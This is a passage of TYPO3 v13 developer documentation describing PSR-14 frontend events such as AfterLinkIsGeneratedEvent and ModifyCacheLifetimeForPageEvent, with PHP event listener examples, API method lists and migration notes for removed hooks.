The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\AfterContentObjectRendererInitializedEvent is being dispatched after the ContentObjectRenderer has been initialized in its start() method.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\AfterContentObjectRendererInitializedEvent;

#[AsEventListener(
    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterContentObjectRendererInitializedEvent $event): void
    {
        $event->getContentObjectRenderer()->setCurrentVal('My current value');
    }
}
Copied!

New in version 13.0

API

class AfterContentObjectRendererInitializedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\AfterContentObjectRendererInitializedEvent

Listeners are able to modify the initialized ContentObjectRenderer instance

getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

AfterGetDataResolvedEvent

New in version 13.0

This event serves as a drop-in replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getData'] . In comparison to the removed hook, the event is not dispatched for every section of the parameter string, but only once, making the former $secVal superfluous.

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\AfterGetDataResolvedEvent is being dispatched just before ContentObjectRenderer->getData() is about to return the resolved "data".

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\AfterGetDataResolvedEvent;

#[AsEventListener(
    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterGetDataResolvedEvent $event): void
    {
        $event->setResult('modified-result');
    }
}
Copied!

New in version 13.0

API

class AfterGetDataResolvedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\AfterGetDataResolvedEvent

Listeners are able to modify the resolved ContentObjectRenderer->getData() result

getResult ( )
Returns
?mixed
setResult ( ?mixed $result)
param $result

the result

getParameterString ( )
Returns
string
getAlternativeFieldArray ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

AfterImageResourceResolvedEvent

New in version 13.0

This event serves as a drop-in replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getImgResource'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\AfterImageResourceResolvedEvent is being dispatched just before ContentObjectRenderer->getImgResource() is about to return the resolved \TYPO3\CMS\Core\Imaging\ImageResource DTO. Therefore, the event is - in comparison to the removed hook - always dispatched, even if no ImageResource could be resolved. In this case, the corresponding return value is null.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\AfterImageResourceResolvedEvent;

#[AsEventListener(
    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterImageResourceResolvedEvent $event): void
    {
        $modifiedImageResource = $event
            ->getImageResource()
            ->withWidth(123);

        $event->setImageResource($modifiedImageResource);
    }
}
Copied!

New in version 13.0

API

class AfterImageResourceResolvedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\AfterImageResourceResolvedEvent

Listeners are able to modify the resolved ContentObjectRenderer->getImgResource() result

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\File|\TYPO3\CMS\Core\Resource\FileReference|string
getFileArray ( )
Returns
array
getImageResource ( )
Returns
?\TYPO3\CMS\Core\Imaging\ImageResource
setImageResource ( ?\TYPO3\CMS\Core\Imaging\ImageResource $imageResource)
param $imageResource

the imageResource

AfterLinkIsGeneratedEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterLinkIsGeneratedEvent allows PHP developers to modify any kind of link generated by TYPO3's mighty typolink() functionality.

By using this event, it is possible to add attributes to links to internal pages, or links to files, as the event contains the actual information of the link type with it.

As this event works with the \TYPO3\CMS\Frontend\Typolink\LinkResultInterface object it is possible to modify or replace the LinkResult information instead of working with string replacement functionality for adding, changing or removing attributes.

If a link could not be generated, a \TYPO3\CMS\Frontend\Typolink\UnableToLinkException might be thrown.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\AfterLinkIsGeneratedEvent;

#[AsEventListener(
    identifier: 'my-extension/link-modifier',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterLinkIsGeneratedEvent $event): void
    {
        $linkResult = $event->getLinkResult()->withAttribute(
            'data-enable-lightbox',
            'true',
        );
        $event->setLinkResult($linkResult);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterLinkIsGeneratedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterLinkIsGeneratedEvent

Generic event to modify any kind of link generation with typolink(). This is processed by all frontend-related links.

If a link could not be generated, a "UnableToLinkException" could be thrown by an Event Listener.

setLinkResult ( \TYPO3\CMS\Frontend\Typolink\LinkResultInterface $linkResult)

Update a link when a part was modified by an Event Listener.

param $linkResult

the linkResult

getLinkResult ( )
Returns
\TYPO3\CMS\Frontend\Typolink\LinkResultInterface
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer
getLinkInstructions ( )

Returns the original instructions / $linkConfiguration that were used to build the link

Returns
array

AfterPageAndLanguageIsResolvedEvent

Changed in version 13.0

The event no longer receives an instance of TypoScriptFrontendController, the getController() method has been removed: The controller is instantiated after the event has been dispatched, event listeners can no longer work with this object.

Instead, the event now contains an instance of the new DTO \TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved and manipulated by event listeners, if necessary.

See Migration.

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterPageAndLanguageIsResolvedEvent is fired in the frontend process after a given page has been resolved including its language.

This event modifies TYPO3's language resolution logic through custom additions. It also allows sending a custom response via event listeners (for example, a custom 403 response).

Example

API

class AfterPageAndLanguageIsResolvedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterPageAndLanguageIsResolvedEvent

A PSR-14 event fired in the frontend process after a given page has been resolved including its language.

This event is intended to e.g. modify TYPO3's language resolving logic by custom additions. This event also allows to send a custom Response via Event Listeners (e.g. a custom 403 response)

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getPageInformation ( )
Returns
\TYPO3\CMS\Frontend\Page\PageInformation
setPageInformation ( \TYPO3\CMS\Frontend\Page\PageInformation $pageInformation)
param $pageInformation

the pageInformation

getResponse ( )
Returns
?\Psr\Http\Message\ResponseInterface
setResponse ( \Psr\Http\Message\ResponseInterface $response)
param $response

the response

Migration

Use the method getPageInformation() to retrieve the calculated page state at this point in the frontend rendering chain. Event listeners that manipulate that object should set it again within the event using setPageInformation().

In case the middleware TypoScriptFrontendInitialization no longer dispatches an event when it created an early response on its own, a custom middleware can be added around that middleware to retrieve and further manipulate a response if needed.

AfterPageWithRootLineIsResolvedEvent

Changed in version 13.0

The event no longer receives an instance of TypoScriptFrontendController, the getController() method has been removed: The controller is instantiated after the event has been dispatched, event listeners can no longer work with this object.

Instead, the event now contains an instance of the new DTO \TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved and manipulated by event listeners, if necessary.

See Migration.

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterPageWithRootLineIsResolvedEvent fires in the frontend process after a given page has been resolved with permissions, root line, etc.

This is useful for modifying the page and root (but before resolving the language), to direct or load content from another page, or for modifying the page response if additional permissions should be checked.

Example

API

class AfterPageWithRootLineIsResolvedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterPageWithRootLineIsResolvedEvent

A PSR-14 event fired in the frontend process after a given page has been resolved with permissions, rootline etc.

This is useful to modify the page + rootline (but before the language is resolved) to direct or load content from a different page, or modify the page response if additional permissions should be checked.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
setResponse ( \Psr\Http\Message\ResponseInterface $response)
param $response

the response

getResponse ( )
Returns
?\Psr\Http\Message\ResponseInterface
getPageInformation ( )
Returns
\TYPO3\CMS\Frontend\Page\PageInformation
setPageInformation ( \TYPO3\CMS\Frontend\Page\PageInformation $pageInformation)
param $pageInformation

the pageInformation

Migration

Use the method getPageInformation() to retrieve the calculated page state at this point in the frontend rendering chain. Event listeners that manipulate that object should set it again within the event using setPageInformation().

In case the middleware TypoScriptFrontendInitialization no longer dispatches an event when it created an early response on its own, a custom middleware can be added around that middleware to retrieve and further manipulate a response if needed.

AfterStdWrapFunctionsExecutedEvent

New in version 13.0

This event is one of the more powerful replacements for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsExecutedEvent is called after the content has been modified by the rest of the stdWrap functions.

Calling order of similar events:

Example

Have a look into the example of EnhanceStdWrapEvent.

API

class AfterStdWrapFunctionsExecutedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsExecutedEvent

Event is called after the content has been modified by the rest of the stdWrap functions

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

AfterStdWrapFunctionsInitializedEvent

New in version 13.0

This event is one of the more powerful replacements for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsInitializedEvent is dispatched after any stdWrap functions have been initialized, but before any content gets modified or replaced.

Calling order of similar events:

Example

Have a look into the example of EnhanceStdWrapEvent.

API

class AfterStdWrapFunctionsInitializedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsInitializedEvent

Event is dispatched after stdWrap functions have been initialized, but before any content gets modified or replaced.

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

AfterTypoScriptDeterminedEvent

New in version 13.0

This event can be used to serve as a replacement for the removed $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['pageLoadedFromCache'] hook. Another solution to substitute the removed hook is an own middleware after typo3/cms-frontend/prepare-tsfe-rendering.

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterTypoScriptDeterminedEvent is dispatched after the \TYPO3\CMS\Core\TypoScript\FrontendTypoScript object has been calculated, just before it is attached to the request.

The event is designed to enable listeners to act on specific TypoScript conditions. Listeners must not modify TypoScript at this point, the Core will try to actively prevent this.

This event is especially useful when "upper" middlewares that do not have the determined TypoScript need to behave differently depending on TypoScript config that is only created after them. The Core uses this in the TimeTrackInitialization and the WorkspacePreview middlewares, to determine debugging and preview details.

Example

API

class AfterTypoScriptDeterminedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterTypoScriptDeterminedEvent

This event is dispatched after the FrontendTypoScript object has been calculated, just before it is attached to the request.

The event is designed to enable listeners to act on specific TypoScript conditions. Listeners must not modify TypoScript at this point, the core will try to actively prevent this.

This event is especially useful when "upper" middlewares that do not have the determined TypoScript need to behave differently depending on TypoScript 'config' that is only created after them. The core uses this in the TimeTrackInitialization and the WorkspacePreview middlewares, to determine debugging and preview details.

Note both 'settings' ("constants") and 'config' are always set within the FrontendTypoScript at this point, even in 'fully cached page' scenarios. 'setup' and (@internal) 'page' may not be set.

getFrontendTypoScript ( )
Returns
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript

BeforePageCacheIdentifierIsHashedEvent

New in version 13.0

This event has been introduced to serve as a direct replacement for the removed $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['createHashBase'] hook.

The PSR-14 event \TYPO3\CMS\Frontend\Event\BeforePageCacheIdentifierIsHashedEvent is dispatched just before the final page cache identifier is created, that is used to get - and later set, if needed and allowed - the page cache row.

The event receives all current arguments that will be part of the identifier calculation and allows to add further arguments in case page caches need to be more specific.

This event can be helpful in various scenarios, for example to implement proper page caching in A/B testing.

Example

API

class BeforePageCacheIdentifierIsHashedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\BeforePageCacheIdentifierIsHashedEvent

This event is dispatched just before the final page cache identifier is created, that is used to get() - and later set(), if needed and allowed - the page cache row.

The event retrieves all current arguments that will be part of the identifier calculation and allows to add further arguments in case page caches need to be more specific.

This event can be helpful in various scenarios, for example to implement proper page caching in A/B testing.

Note this event is always dispatched, even in fully cached page scenarios, if an outer middleware did not return early (for instance due to permission issues).

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getPageCacheIdentifierParameters ( )
Returns
array
setPageCacheIdentifierParameters ( array $pageCacheIdentifierParameters)
param $pageCacheIdentifierParameters

the pageCacheIdentifierParameters

BeforePageIsResolvedEvent

Changed in version 13.0

The event no longer receives an instance of TypoScriptFrontendController, the getController() method has been removed: The controller is instantiated after the event has been dispatched, event listeners can no longer work with this object.

Instead, the event now contains an instance of the new DTO \TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved and manipulated by event listeners, if necessary.

See Migration.

The PSR-14 event \TYPO3\CMS\Frontend\Event\BeforePageIsResolvedEvent is fired before the frontend process is trying to fully resolve a given page by its page ID and the request.

The events may not be dispatched anymore when the middleware \TYPO3\CMS\Frontend\Middleware\TypoScriptFrontendInitialization creates early responses.

Example

API

class BeforePageIsResolvedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\BeforePageIsResolvedEvent

A PSR-14 event fired before the frontend process is trying to fully resolve a given page by its page ID and the request.

Event Listeners can modify incoming parameters (such as $controller->id) or modify the context for resolving a page.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getPageInformation ( )
Returns
\TYPO3\CMS\Frontend\Page\PageInformation
setPageInformation ( \TYPO3\CMS\Frontend\Page\PageInformation $pageInformation)
param $pageInformation

the pageInformation

Migration

Use the method getPageInformation() to retrieve the calculated page state at this point in the frontend rendering chain. Event listeners that manipulate that object should set it again within the event using setPageInformation().

In case the middleware TypoScriptFrontendInitialization no longer dispatches an event when it created an early response on its own, a custom middleware can be added around that middleware to retrieve and further manipulate a response if needed.

BeforeStdWrapContentStoredInCacheEvent

New in version 13.0

This event serves as a more powerful replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap_cacheStore'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapContentStoredInCacheEvent is dispatched just before the final stdWrap content is added to the cache. It allows to fully manipulate the $content to be added, the cache $tags to be used, as well as the corresponding cache $key and the cache $lifetime.

Additionally, the new event provides the full TypoScript configuration and the current ContentObjectRenderer instance.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapContentStoredInCacheEvent;

#[AsEventListener(
    identifier: 'my-extension/before-stdwrap-content-stored-in-cache',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeStdWrapContentStoredInCacheEvent $event): void
    {
        if (in_array('foo', $event->getTags(), true)) {
            $event->setContent('modified-content');
        }
    }
}
Copied!

New in version 13.0

API

class BeforeStdWrapContentStoredInCacheEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapContentStoredInCacheEvent

Listeners to this Event are able to modify the final stdWrap content and corresponding cache tags, before being stored in cache.

Additionally, listeners are also able to change the cache key to be used as well as the lifetime. Therefore, the whole configuration is available.

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getTags ( )
Returns
array
setTags ( array $tags)
param $tags

the tags

getKey ( )
Returns
string
setKey ( string $key)
param $key

the key

getLifetime ( )
Returns
?int
setLifetime ( ?int $lifetime)
param $lifetime

the lifetime

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

BeforeStdWrapFunctionsExecutedEvent

New in version 13.0

This event is one of the more powerful replacements for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsExecutedEvent is called directly after the recursive stdWrap function call, but still before the content gets modified.

Calling order of similar events:

Example

Have a look into the example of EnhanceStdWrapEvent.

API

class BeforeStdWrapFunctionsExecutedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsExecutedEvent

Event is called directly after the recursive stdWrap function call but still before the content gets modified

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

BeforeStdWrapFunctionsInitializedEvent

New in version 13.0

This event is one of the more powerful replacements for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsInitializedEvent is dispatched before any stdWrap function is initialized/called.

Calling order of similar events:

Example

Have a look into the example of EnhanceStdWrapEvent.

API

class BeforeStdWrapFunctionsInitializedEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsInitializedEvent

Event is dispatched before any stdWrap function is initialized / called

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

EnhanceStdWrapEvent

New in version 13.0

This event is one of the more powerful replacements for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .

Listeners to the PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\EnhanceStdWrapEvent are able to modify the stdWrap processing, enhancing the functionality and manipulating the final result/content. This is the parent event, which allows the corresponding listeners to be called on each step.

Child events:

All events provide the same functionality. The difference is only the execution order in which they are called in the stdWrap processing chain.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsExecutedEvent;
use TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsInitializedEvent;
use TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsInitializedEvent;
use TYPO3\CMS\Frontend\ContentObject\Event\EnhanceStdWrapEvent;

#[AsEventListener(
    identifier: 'my-extension/my-stdwrap-enhancement',
)]
final readonly class MyEventListener
{
    public function __invoke(EnhanceStdWrapEvent $event): void
    {
        // listen to all events
    }

    #[AsEventListener(
        identifier: 'my-extension/my-stdwrap-before-initialized',
    )]
    public function individualListener(BeforeStdWrapFunctionsInitializedEvent $event): void
    {
        // listen on BeforeStdWrapFunctionsInitializedEvent only
    }

    #[AsEventListener(
        identifier: 'my-extension/my-stdwrap-after-initialized-executed',
    )]
    public function listenOnMultipleEvents(
        AfterStdWrapFunctionsInitializedEvent|AfterStdWrapFunctionsExecutedEvent $event,
    ): void {
        // Union type to listen to different events
    }
}
Copied!

New in version 13.0

API

abstract class EnhanceStdWrapEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\EnhanceStdWrapEvent

Listeners to this Event are able to modify the stdWrap processing, enhancing the functionality and manipulating the final result / content. This is the parent Event, which allows the corresponding listeners to be called on each step, see child Events:

getContent ( )
Returns
?string
setContent ( string $content)
param $content

the content

getConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

FilterMenuItemsEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\FilterMenuItemsEvent has a variety of properties and getters, along with TYPO3\CMS\Frontend\Event\FilterMenuItemsEvent::getFilteredMenuItems() and TYPO3\CMS\Frontend\Event\FilterMenuItemsEvent::setFilteredMenuItems(). Those methods can be used to change the items of a menu, which has been generated with a TypoScript HMENU or a MenuProcessor.

This event is fired after TYPO3 has filtered all menu items. The menu can then be adjusted by adding, removing or modifying the menu items. Also changing the order is possible.

Additionally, more information about the currently rendered menu, such as the menu items which were filtered out, is available.

Example

API

class FilterMenuItemsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\FilterMenuItemsEvent

Listeners to this Event will be able to modify items for a menu generated with HMENU

getAllMenuItems ( )
Returns
array
getFilteredMenuItems ( )
Returns
array
setFilteredMenuItems ( array $filteredMenuItems)
param $filteredMenuItems

the filteredMenuItems

getMenuConfiguration ( )
Returns
array
getItemConfiguration ( )
Returns
array
getBannedMenuItems ( )
Returns
array
getExcludedDoktypes ( )
Returns
array
getSite ( )
Returns
\TYPO3\CMS\Core\Site\Entity\Site
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context
getCurrentPage ( )
Returns
array

ModifyCacheLifetimeForPageEvent

This event allows to modify the lifetime of how long a rendered page of a frontend call should be stored in the "pages" cache.

Example

The following listener limits the cache lifetime to 30 seconds in development context:

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Frontend\Event\ModifyCacheLifetimeForPageEvent;

#[AsEventListener(
    identifier: 'my-extension/cache-timeout',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyCacheLifetimeForPageEvent $event): void
    {
        // Only cache all pages for 30 seconds when in development context
        if (Environment::getContext()->isDevelopment()) {
            $event->setCacheLifetime(30);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyCacheLifetimeForPageEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyCacheLifetimeForPageEvent

Event to allow listeners to modify the amount of seconds that a generated frontend page should be cached in the "pages" cache when initially generated.

setCacheLifetime ( int $cacheLifetime)
param $cacheLifetime

the cacheLifetime

getCacheLifetime ( )
Returns
int
getPageId ( )
Returns
int
getPageRecord ( )
Returns
array
getRenderingInstructions ( )
Returns
array
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context

ModifyHrefLangTagsEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent is available to alter the hreflang tags just before they get rendered.

The class \TYPO3\CMS\Seo\HrefLang\HrefLangGenerator (identifier typo3-seo/hreflangGenerator) is also available as an event. Its purpose is to provide the default hreflang tags. This way it is possible to register a custom event listener after or instead of this implementation.

Example

With after and before, you can make sure your own listener is executed after or before the given identifiers.

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;

#[AsEventListener(
    identifier: 'my-extension/cache-timeout',
    after: 'typo3-seo/hreflangGenerator',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyHrefLangTagsEvent $event): void
    {
        $hrefLangs = $event->getHrefLangs();
        $request = $event->getRequest();

        // Do anything you want with $hrefLangs
        $hrefLangs = [
            'en-US' => 'https://example.org',
            'nl-NL' => 'https://example.org/nl',
        ];

        // Override all hrefLang tags
        $event->setHrefLangs($hrefLangs);

        // Or add a single hrefLang tag
        $event->addHrefLang('de-DE', 'https://example.org/de');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyHrefLangTagsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent

Listeners to this event will be able to modify the hreflang tags that will be generated. You can use this when you have an edge case language scenario and need to alter the default hreflang tags.

getHrefLangs ( )
Returns
array
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
setHrefLangs ( array $hrefLangs)

Set the hreflangs. This should be an array in format:

[
    'en-US' => 'https://example.com',
    'nl-NL' => 'https://example.com/nl'
]
Copied!
param $hrefLangs

the hrefLangs

addHrefLang ( string $languageCode, string $url)

Add a hreflang tag to the current list of hreflang tags

param $languageCode

The language of the hreflang tag you would like to add. For example: nl-NL

param $url

The URL of the translation. For example: https://example.com/nl

ModifyImageSourceCollectionEvent

New in version 13.0

This event serves as a drop-in replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getImageSourceCollection'] .

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\ModifyImageSourceCollectionEvent is being dispatched in ContentObjectRenderer->getImageSourceCollection() for each configured sourceCollection and allows to enrich the final source collection result.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\ModifyImageSourceCollectionEvent;

#[AsEventListener(
    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyImageSourceCollectionEvent $event): void
    {
        $event->setSourceCollection(
            '<source src="bar-file.jpg" media="(max-device-width: 600px)">',
        );
    }
}
Copied!

New in version 13.0

API

class ModifyImageSourceCollectionEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\ModifyImageSourceCollectionEvent

Listeners are able to enrich the final source collection result

setSourceCollection ( string $sourceCollection)
param $sourceCollection

the sourceCollection

getSourceCollection ( )
Returns
string
getFullSourceCollection ( )
Returns
string
getSourceConfiguration ( )
Returns
array
getSourceRenderConfiguration ( )
Returns
array
getContentObjectRenderer ( )
Returns
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer

ModifyPageLinkConfigurationEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\ModifyPageLinkConfigurationEvent is called after a page has been resolved, and includes arguments such as the generated fragment and the to-be-used query parameters.

The page to be linked to can also be modified to link to a different page.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\ModifyPageLinkConfigurationEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-page-link-configuration',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyPageLinkConfigurationEvent $event): void
    {
        // Do your magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyPageLinkConfigurationEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyPageLinkConfigurationEvent

A generic PSR 14 Event to allow modifying the incoming (and resolved) page when building a "page link".

This event allows Event Listener to change the page to be linked to, or add/remove possible query parameters / fragments to be generated.

getConfiguration ( )
Returns
array
setConfiguration ( array $configuration)
param $configuration

the configuration

getLinkDetails ( )
Returns
array
getPage ( )
Returns
array
setPage ( array $page)
param $page

the page

getQueryParameters ( )
Returns
array
setQueryParameters ( array $queryParameters)
param $queryParameters

the queryParameters

getFragment ( )
Returns
string
setFragment ( string $fragment)
param $fragment

the fragment

pageWasModified ( )
Returns
bool

ModifyRecordsAfterFetchingContentEvent

New in version 13.0

This event serves as a more powerful replacement for the removed $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content_content.php']['modifyDBRow'] hook.

The PSR-14 event \TYPO3\CMS\Frontend\ContentObject\Event\ModifyRecordsAfterFetchingContentEvent allows to modify the fetched records next to the possibility to manipulate most of the options, such as slide. Listeners are also able to set the final content and change the whole TypoScript configuration, used for further processing.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

